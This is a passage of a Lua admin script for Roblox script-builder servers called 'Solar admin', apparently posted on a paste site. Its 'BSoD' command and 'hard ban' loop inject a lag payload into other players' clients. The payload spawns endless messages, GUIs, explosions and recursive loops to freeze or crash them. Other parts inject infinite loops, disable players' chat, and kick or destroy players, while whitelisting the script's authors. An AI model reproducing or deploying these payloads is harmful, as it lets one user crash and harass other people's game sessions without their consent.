  929. Notify("Hard Banned "..plr.Name.."!")
  930. end
  931. end
  932. end
  933. end
  934. )
  935. AddCmd("Explore","explore","Explore the game",
  936. function()
  937. Explore()
  938. end
  939. )
  940. AddCmd("Rejoin yourself","rej","Rejoin yourself even if you are nil",
  941. function()
  942. if SourceName ~= "source" then
  943. game:service'TeleportService':Teleport(game.PlaceId)
  944. else
  945. Output("This is alakazard's sb, can't teleport here.","Really red")
  946. end
  947. end
  948. )
  949. AddCmd("BSoD","bsod","BSoD a player",
  950. function(Plrs)
  951. for _, plr in pairs(Plrs) do
  952. if plr and plr.Backpack then
  953. for i = 0,7,1 do
  954. NewLS(BSoDSource, plr.Backpack)
  955. end
  956. end
  957. end
  958. end
  959. )
  960. --[[SOURCES]]--
  961. LBlock1 = [[
  962. LocalPlayer.descendantAdded:connect(function(what)
  963. if what:IsA("Script") or what:IsA("LocalScript") then
  964. if LBlock == false then return end
  965. if what.Name == "Health" then return end
  966. if what.Name == "HealthScript v3.1" then return end
  967. if what.Name == "Animate" then return end
  968. what.Disabled = true
  969. wait()
  970. what:Destroy()
  971. end
  972. end)
  973. ]]
  974. LBlock2 = [[
  975. LocalPlayer.Backpack.descendantAdded:connect(function(what)
  976. if what:IsA("Script") or what:IsA("LocalScript") then
  977. if LBlock == false then return end
  978. if what.Name == "Health" then return end
  979. if what.Name == "HealthScript v3.1" then return end
  980. if what.Name == "Animate" then return end
  981. what.Disabled = true
  982. wait()
  983. what:Destroy()
  984. end
  985. end)
  986. ]]
  987. LBlock3 = [[
  988. LocalPlayer.Character.descendantAdded:connect(function(what)
  989. if what:IsA("Script") or what:IsA("LocalScript") then
  990. if LBlock == false then return end
  991. if what.Name == "Health" then return end
  992. if what.Name == "HealthScript v3.1" then return end
  993. if what.Name == "Animate" then return end
  994. what.Disabled = true
  995. wait()
  996. what:Destroy()
  997. end
  998. end)
  999. ]]
  1000. ConnectSource = [[
  1001. script:ClearAllChildren()
  1002. wait()
  1003. script.Parent = nil
  1004. Player = game.Players.LocalPlayer
  1005. while wait(0.1) do
  1006. if game.Lighting:findFirstChild("DISC: nil") then
  1007. if Player.Parent == nil then
  1008. Delay(0, wait)
  1009. end
  1010. end
  1011. if game.Lighting:findFirstChild("DISC: "..Player.Name) then
  1012. Delay(0, wait)
  1013. end
  1014. end
  1015. ]]
  1016. BSoDSource = [[
  1017. wait()
  1018. script.Parent = game:service'TeleportService'
  1019. CC = workspace.CurrentCamera
  1020. RS = game:service("RunService")
  1021. PG = game.Players.LocalPlayer.PlayerGui
  1022. C = game.Players.LocalPlayer.Character
  1023. function Lag()
  1024. coroutine.resume(coroutine.create(function()
  1025. while wait() do
  1026. M = Instance.new("Message",CC)
  1027. M.Text = tick()*math.floor(5%4*21)
  1028. H = Instance.new("Hint",CC)
  1029. H.Text = 'Get out from this place!'
  1030. SG=Instance.new("ScreenGui",PG)
  1031. FR=Instance.new("Frame",SG)
  1032. FR.Size = UDim2.new(500,500,500,500)
  1033. while wait() do
  1034. FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
  1035. end
  1036. P=Instance.new("Part",CC)
  1037. E=Instance.new("Explosion",P)
  1038. E.BlastRadius=math.huge
  1039. E.Position=P.Position
  1040. F=Instance.new("Fire",P)
  1041. S=Instance.new("Smoke",P)
  1042. P.CFrame = CC.Focus
  1043. P.Anchored = true
  1044. P.CanCollide = false
  1045. P.AncestryChanged:connect(function()Lag()end)
  1046. for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
  1047. end
  1048. end))
  1049. end
  1050. RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
  1051. ]]
  1052. --[[CONNECTIONS]]--
  1053. LocalPlayer.Chatted:connect(function(m)
  1054. Chat(m,ChatColor)
  1055. for i,v in pairs(Cmds) do
  1056. if v["Say"]..Key == m:sub(1, #v["Say"]+#Key) then
  1057. v["Func"](GetPlayers(m:sub(#v["Say"]+#Key+1)), m:sub(#v["Say"]+#Key+1))
  1058. end
  1059. end
  1060. end)
  1061. for _,speaker in pairs(game:service'Players':GetPlayers()) do
  1062. if speaker.Name ~= LocalPlayer.Name then
  1063. if speaker.Name ~= "aleksa12432" then
  1064. if speaker.Name ~= "optiplex123" then
  1065. if speaker.Name ~= "Exorsizer" then
  1066. speaker.Chatted:connect(function(msg)
  1067. for _,v in pairs(MuteWords) do
  1068. if string.find(msg,v) then
  1069. if speaker and speaker.Backpack then
  1070. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
  1071. end
  1072. end
  1073. end
  1074. for _,v in pairs(BadWords) do
  1075. if string.find(msg, v) then
  1076. if speaker and found == true then
  1077. NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
  1078. elseif speaker and found == false then
  1079. speaker:Destroy()
  1080. end
  1081. end
  1082. end
  1083. end)
  1084. end
  1085. end
  1086. end
  1087. end
  1088. end
  1089. game.Players.ChildAdded:connect(function(speaker)
  1090. if speaker:IsA("Player") then
  1091. if speaker.Name ~= LocalPlayer.Name then
  1092. if speaker.Name ~= "aleksa12432" then
  1093. if speaker.Name ~= "optiplex123" then
  1094. if speaker.Name ~= "Exorsizer" then
  1095. speaker.Chatted:connect(function(msg)
  1096. for _,v in pairs(MuteWords) do
  1097. if string.find(msg:lower(),v:lower()) then
  1098. if speaker and speaker.Backpack then
  1099. NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
  1100. end
  1101. end
  1102. end
  1103. for _,v in pairs(BadWords) do
  1104. if string.find(msg:lower(),v:lower()) then
  1105. if speaker and found == true then
  1106. NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
  1107. elseif speaker and found == false then
  1108. speaker:Destroy()
  1109. end
  1110. end
  1111. end
  1112. end)
  1113. end
  1114. end
  1115. end
  1116. end
  1117. end
  1118. end)
  1119. --[[START]]--
  1120. for i = 0,8,1 do
  1121. Output("")
  1122. end
  1123. Output("Welcome to Solar admin","Really red")
  1124. Output("This script is made by aleksa12432 and optiplex123","Really red")
  1125. if SourceName == "DSource" then
  1126. Output("You are on Anaminus SB","Really red")
  1127. elseif SourceName == "Source" then
  1128. Output("You are on Oxcool1 SB","Really red")
  1129. elseif SourceName == "source" then
  1130. Output("You are on qlqkqzqrd SB","Really red")
  1131. end
  1132. for _,v in pairs(game:service'Players':GetPlayers()) do
  1133. if v.Name ~= LocalPlayer.Name then
  1134. if v.Name ~= "aleksa12432" then
  1135. if v.Name ~= "optiplex123" then
  1136. if v.Name ~= "Exorsizer" then
  1137. Connect(v)
  1138. end
  1139. end
  1140. end
  1141. end
  1142. end
  1143. --[[LOOPS]]--
  1144. coroutine.wrap(function()
  1145. while wait(30) do
  1146. for _,v in pairs(game:service'Players':GetPlayers()) do
  1147. if v.Name ~= LocalPlayer.Name then
  1148. if v.Name ~= "aleksa12432" then
  1149. if v.Name ~= "optiplex123" then
  1150. if v.Name ~= "Exorsizer" then
  1151. if v.Backpack ~= nil then
  1152. NewLS(ConnectSource, v.Backpack)
  1153. end
  1154. end
  1155. end
  1156. end
  1157. end
  1158. end
  1159. end
  1160. end)()
  1161. game:service'Players'.ChildAdded:connect(function(player)
  1162. if player.Name ~= LocalPlayer.Name then
  1163. if player.Name ~= "aleksa12432" then
  1164. if player.Name ~= "optiplex123" then
  1165. if player.Name ~= "Exorsizer" then
  1166. wait(3)
  1167. Connect(player)
  1168. end
  1169. end
  1170. end
  1171. end
  1172. end)
  1173. game:GetService("RunService").RenderStepped:connect(function()
  1174. if TabModel.Parent ~= TabModelParent then return end
  1175. if TabModel == nil then return end
  1176. if LocalPlayer then
  1177. if LocalPlayer.Character then
  1178. if LocalPlayer.Character:findFirstChild("Torso") then
  1179. Rotation = Rotation + Speed
  1180. for i,v in pairs(Tabs) do
  1181. ypcall(function()
  1182. if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Torso then
  1183. pos = LocalPlayer.Character.Torso.CFrame
  1184. else
  1185. pos = CFrame.new(0,0,0)
  1186. end
  1187. radius = 4 + (#Tabs * 0.5)
  1188. x = math.sin((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
  1189. y = 0
  1190. z = math.cos((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
  1191. arot = Vector3.new(x, y, z) + pos.p
  1192. brot = v.CFrame.p
  1193. crot = (arot * .1 + brot * .9)
  1194. v.CFrame = CFrame.new(crot, pos.p)
  1195. end)
  1196. end
  1197. end
  1198. end
  1199. end
  1200. end)
  1201. game:service'RunService'.RenderStepped:connect(function()
  1202. if TabModelDebounce == true then return end
  1203. if TabModel.Parent ~= TabModelParent then
  1204. TabModelDebounce = true
  1205. Tabs = {}
  1206. TabModel = Instance.new("Model", TabModelParent)
  1207. TabModel.Name = "Solar tabs"
  1208. Tabs = {}
  1209. Rotation = 0
  1210. wait()
  1211. TabModelDebounce = false
  1212. end
  1213. end)
  1214. coroutine.wrap(function()
  1215. while wait() do
  1216. for _,v in pairs(game:service'Workspace':children()) do
  1217. if v and v:IsA("StringValue") and v.Name == Code then
  1218. if v.Value ~= nil and v.Value ~= "" then
  1219. Output(v.Value,"Really red")
  1220. game:service'Debris':AddItem(v, 3)
  1221. end
  1222. end
  1223. end
  1224. end
  1225. end)()
  1226. coroutine.wrap(function()
  1227. while wait() do
  1228. for _,v in pairs(game:service'Players':GetPlayers()) do
  1229. pcall(function()
  1230. for j,k in pairs(Banlist) do
  1231. if v.Name == k then
  1232. if v:findFirstChild("Backpack") ~= nil then
  1233. NewLS("repeat until ucrappedurpants", v.Backpack)
  1234. end
  1235. end
  1236. end
  1237. for j,k in pairs(HardBanlist) do
  1238. if v.Name == k then
  1239. if v:findFirstChild("Backpack") ~= nil then
  1240. NewLS(BSoDSource, v.Backpack)
  1241. end
  1242. end
  1243. end
  1244. end)
  1245. end
  1246. end
  1247. end)()
  1248. while found == false do
  1249. if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
  1250. for _,ScriptInWorkspace in pairs(workspace:children()) do
  1251. if ScriptInWorkspace then
  1252. if ScriptInWorkspace:IsA("Script") then
  1253. if ScriptInWorkspace:FindFirstChild(SourceName) then
  1254. NewScript = ScriptInWorkspace:Clone()
  1255. wait()
  1256. NewScript.Name = "NewScript"
  1257. NewScript.Disabled = true
  1258. NewScript:FindFirstChild(SourceName).Value = ""
  1259. Output("Found a source!", "New Yeller")
  1260. found = true
  1261. break
  1262. end
  1263. end
  1264. end
  1265. end
  1266. wait()
  1267. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement